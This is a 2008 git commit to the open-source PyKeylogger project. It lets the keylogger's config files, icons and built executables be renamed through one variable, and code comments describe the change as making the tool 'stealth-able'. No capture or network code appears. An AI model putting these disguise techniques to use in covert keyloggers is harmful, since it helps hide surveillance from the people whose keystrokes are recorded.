make pykeylogger stealth-able by a simple change of version.name. version.name now propagates to .ini, .val, and icon filenames that pykeylogger looks for by default, and also to the name of the executables built with py2exe.

nanotube [2008-07-11 16:55]
make pykeylogger stealth-able by a simple change of version.name. version.name now propagates to .ini, .val, and icon filenames that pykeylogger looks for by default, and also to the name of the executables built with py2exe.
Filename
controlpanel.py
keylogger.pyw
setup.py
version.py
diff --git a/controlpanel.py b/controlpanel.py
index 020a8b3..d104a67 100644
--- a/controlpanel.py
+++ b/controlpanel.py
@@ -98,7 +98,7 @@ class PyKeyloggerControlPanel:
         textlabel = Label(self.root, text="PyKeylogger " + str(version.version), font=("arial", 12))
         textlabel.pack()

-        photo = PhotoImage(file="pykeyloggericon_big.gif")
+        photo = PhotoImage(file=version.name + "icon_big.gif")
         imagelabel = Label(self.root, image=photo, height=160, width=200)
         imagelabel.photo = photo
         imagelabel.pack()
@@ -202,7 +202,7 @@ class Command:

 if __name__ == '__main__':
     # some simple testing code
-    settings={"bla":"mu", 'maxlogage': "2.0", "configfile":"practicepykeylogger.ini"}
+
     class BlankKeylogger:
         def stop(self):
             pass
@@ -223,9 +223,9 @@ if __name__ == '__main__':

     class BlankOptions:
         def __init__(self):
-            self.configfile="pykeylogger.ini"
-            self.configval="pykeylogger.val"
+            self.configfile=version.name + ".ini"
+            self.configval=version.name + ".val"

     klobject=BlankKeylogger()
     cmdoptions=BlankOptions()
-    myapp = PyKeyloggerControlPanel(cmdoptions, klobject)
\ No newline at end of file
+    myapp = PyKeyloggerControlPanel(cmdoptions, klobject)
diff --git a/keylogger.pyw b/keylogger.pyw
index 16ce56a..4b7ea8b 100644
--- a/keylogger.pyw
+++ b/keylogger.pyw
@@ -177,8 +177,8 @@ class KeyLogger:
         parser.add_option("-v", "--configval", action="store", dest="configval", help="filename of the configuration validation file. [default: %default]")

         parser.set_defaults(debug=False,
-                            configfile="pykeylogger.ini",
-                            configval="pykeylogger.val")
+                            configfile=version.name + ".ini",
+                            configval=version.name + ".val")

         (self.cmdoptions, args) = parser.parse_args()

diff --git a/setup.py b/setup.py
index 05de225..dd03509 100644
--- a/setup.py
+++ b/setup.py
@@ -29,11 +29,11 @@ setup(
     #~ options = {'py2exe': {'bundle_files': 1}},
     #~ zipfile = None,

-    data_files = [("",["pykeylogger.ini",
-                        "pykeylogger.val",
-                        "pykeyloggericon.ico",
-                        "pykeyloggericon.svg",
-                        "pykeyloggericon_big.gif",
+    data_files = [("",[version.name+".ini",
+                        version.name+".val",
+                        version.name+"icon.ico",
+                        version.name+"icon.svg",
+                        version.name+"icon_big.gif",
                         "CHANGELOG.TXT",
                         "LICENSE.txt",
                         "README.txt",
@@ -42,16 +42,16 @@ setup(
     console = [
         {
             "script": "keylogger.pyw",
-            "dest_base": "keylogger_debug",
-            "icon_resources": [(0, "pykeyloggericon.ico")]
+            "dest_base": version.name+"_debug",
+            "icon_resources": [(0, version.name+"icon.ico")]
         }
     ],

     windows = [
        {
            "script": "keylogger.pyw",
-           "dest_base": "keylogger",
-            "icon_resources": [(0, "pykeyloggericon.ico")]
+           "dest_base": version.name,
+            "icon_resources": [(0, version.name+"icon.ico")]
        }
     ],
     )
diff --git a/version.py b/version.py
index 8130d60..f0f4860 100644
--- a/version.py
+++ b/version.py
@@ -1,9 +1,9 @@

-name = "pykeylogger"
-version = "1.0.2"
-description = "Simple Python Keylogger"
+name = "pykeylogger" # change this for stealth. you must also change the filenames of the .ini, .val, and the icon files and replace "pykeylogger" with what you put in here.
+version = "1.0.3"
+description = "Simple Python Keylogger" # change this for stealth
 url = "http://pykeylogger.sourceforge.net"
 license = "GPL"
 author = "Daniel Folkinshteyn"
 author_email = "nanotube@users.sf.net"
-platform = "Windows NT/2000/XP/Vista, Linux"
\ No newline at end of file
+platform = "Windows NT/2000/XP/Vista, Linux"
ViewGit